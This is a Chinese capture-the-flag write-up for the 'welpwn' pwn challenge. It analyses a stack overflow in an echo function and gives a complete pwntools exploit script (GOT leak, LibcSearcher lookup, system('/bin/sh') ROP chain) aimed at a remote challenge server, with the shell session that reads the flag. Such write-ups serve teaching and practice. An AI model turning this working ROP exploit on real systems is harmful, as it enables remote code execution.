攻防世界高手进阶区 ——Welpwn
分析文件
checksec分析
1 2 3 4 5 6 7
| coke@ubuntu:~/桌面/CTFworkstation/OADW/welpwn$ checksec welpwn [*] '/home/coke/桌面/CTFworkstation/OADW/welpwn/welpwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
文件开启了堆栈不可执行,常规了。
ida分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf[1024];
write(1, "Welcome to RCTF\n", 0x10uLL); fflush(_bss_start); read(0, buf, 1024uLL); echo((__int64)buf); return 0; }
int __fastcall echo(__int64 a1) { char s2[16];
for ( i = 0; *(_BYTE *)(i + a1); ++i ) s2[i] = *(_BYTE *)(i + a1); s2[i] = 0; if ( !strcmp("ROIS", s2) ) { printf("RCTF{Welcome}"); puts(" is not flag"); } return printf("%s", s2); }
|
分析文件main函数没有什么可以利用的漏洞,但是echo函数里面有一个不太常见的漏洞
,这个的echo函数的s2数组只有16个字节i,但是传入的参数可以为1024个字节。于是这里存在栈溢出漏洞。
解题思路
这里可以利用栈溢出漏洞来构造ROP链
因为echo函数的赋值循环遇到0就停止,ROP链中的地址一般都有0
1
| 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
|
就像上面那样,且linux系统是小端序传参。所以我们要是将上面这个gadget传给服务器。
服务器收到的值是这样的:
所以在构造返回地址时我们只能给echo的栈区传一个ret。
但是由于函数之间的栈是连续的
在echo栈的下面就是main函数的栈区
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| buf= byte ptr -400h .... push rbp mov rbp, rsp sub rsp, 400h ..... lea rax, [rbp+buf] mov edx, 400h ; nbytes mov rsi, rax ; buf mov edi, 0 ; fd call _read lea rax, [rbp+buf] mov rdi, rax call echo
|
而且从下面这段代码可以看出来,read函数在读取数据的时候先放在距离栈底偏移为400h的栈上。所以我们输入的数据从距离栈底距离400h的地方向高地址增长。
(省略号表示中间省略了一些代码)
下面的图片表示了在赋值循环开始前的栈区示意图:
在我们将构造的数据赋值之后的栈区示意图为:假设我们的payload为 ‘a’*0x18 + p64(pop_4) + p64(ROPchain)
可以看到这里在执行完返回地址后只剩下ROPchain了,pop_4就是我们前面看到的gadget
1
| 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
|
用于弹出4个栈区的值。
常规libcsearcher解题
现在只需要按照常见的泄露函数got地址—-寻找libc版本—-计算偏移地址—-构造getshell ROP链
一个小tips:
- 因为是六十四位的程序,所以传参方式为寄存器传参,传参顺序为rdi ,rsi ,rdx ,rcx , r8 , r9
都做到这个题来了,剩下的基本上应该还是挺熟悉的了。
我就直接把wp给了吧
wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * from LibcSearcher import *
r = remote("111.200.241.244",55395) context(os = 'linux',log_level = "debug") pop_rdi = 0x4008a3 pop_rsi = 0x4008a1 pop_4 = 0x40089c main_addr = 0x4007CD elf = ELF("./welpwn") puts_plt = elf.plt['puts'] read_got = elf.got['read'] print r.recvuntil("Welcome to RCTF\n") payload = "a" * 0x18 + p64(pop_4) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr) r.sendline(payload)
print r.recvuntil('a' * 0x18) print r.recv(3) read_addr = u64(r.recv(6).ljust(8, "\x00")) print "read:",hex(read_addr) libc = LibcSearcher("read", read_addr) libc_base = read_addr - libc.dump("read") system = libc_base + libc.dump("system") print "system:",hex(system) bin_sh = libc_base + libc.dump("str_bin_sh") print "bin_sh:",hex(bin_sh) payload = "a" * 0x18 +p64(pop_4) + p64(pop_rdi) + p64(bin_sh) + p64(system) r.sendline(payload) r.interactive()
|
出来的结果是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| Multi Results: 0: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) 1: archive-old-glibc (id libc6-i386_2.19-10ubuntu2.3_amd64) Please supply more info using add_condition(leaked_func, leaked_address). You can choose it by hand Or type 'exit' to quit:0 [+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed. system: 0x7f27860e0390 bin_sh: 0x7f2786227d57 [DEBUG] Sent 0x39 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 9c 08 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│ 00000020 a3 08 40 00 00 00 00 00 57 7d 22 86 27 7f 00 00 │··@·│····│W}"·│'···│ 00000030 90 03 0e 86 27 7f 00 00 0a │····│'···│·│ 00000039 [*] Switching to interactive mode
$ ls [DEBUG] Sent 0x3 bytes: 'ls\n' [DEBUG] Received 0x42 bytes: 'bin\n' 'dev\n' 'flag\n' 'lib\n' 'lib32\n' 'lib64\n' 'libc32-2.19.so\n' 'libc64-2.19.so\n' 'welpwn\n' bin dev flag lib lib32 lib64 libc32-2.19.so libc64-2.19.so welpwn $ cat flag [DEBUG] Sent 0x9 bytes: 'cat flag\n' [DEBUG] Received 0x2d bytes: 'cyberpeace{c873ec075c0b3148a7d435f292149bb1}\n' cyberpeace{c873ec075c0b3148a7d435f292149bb1}
|
这里有两种libc,一个一个试就行了。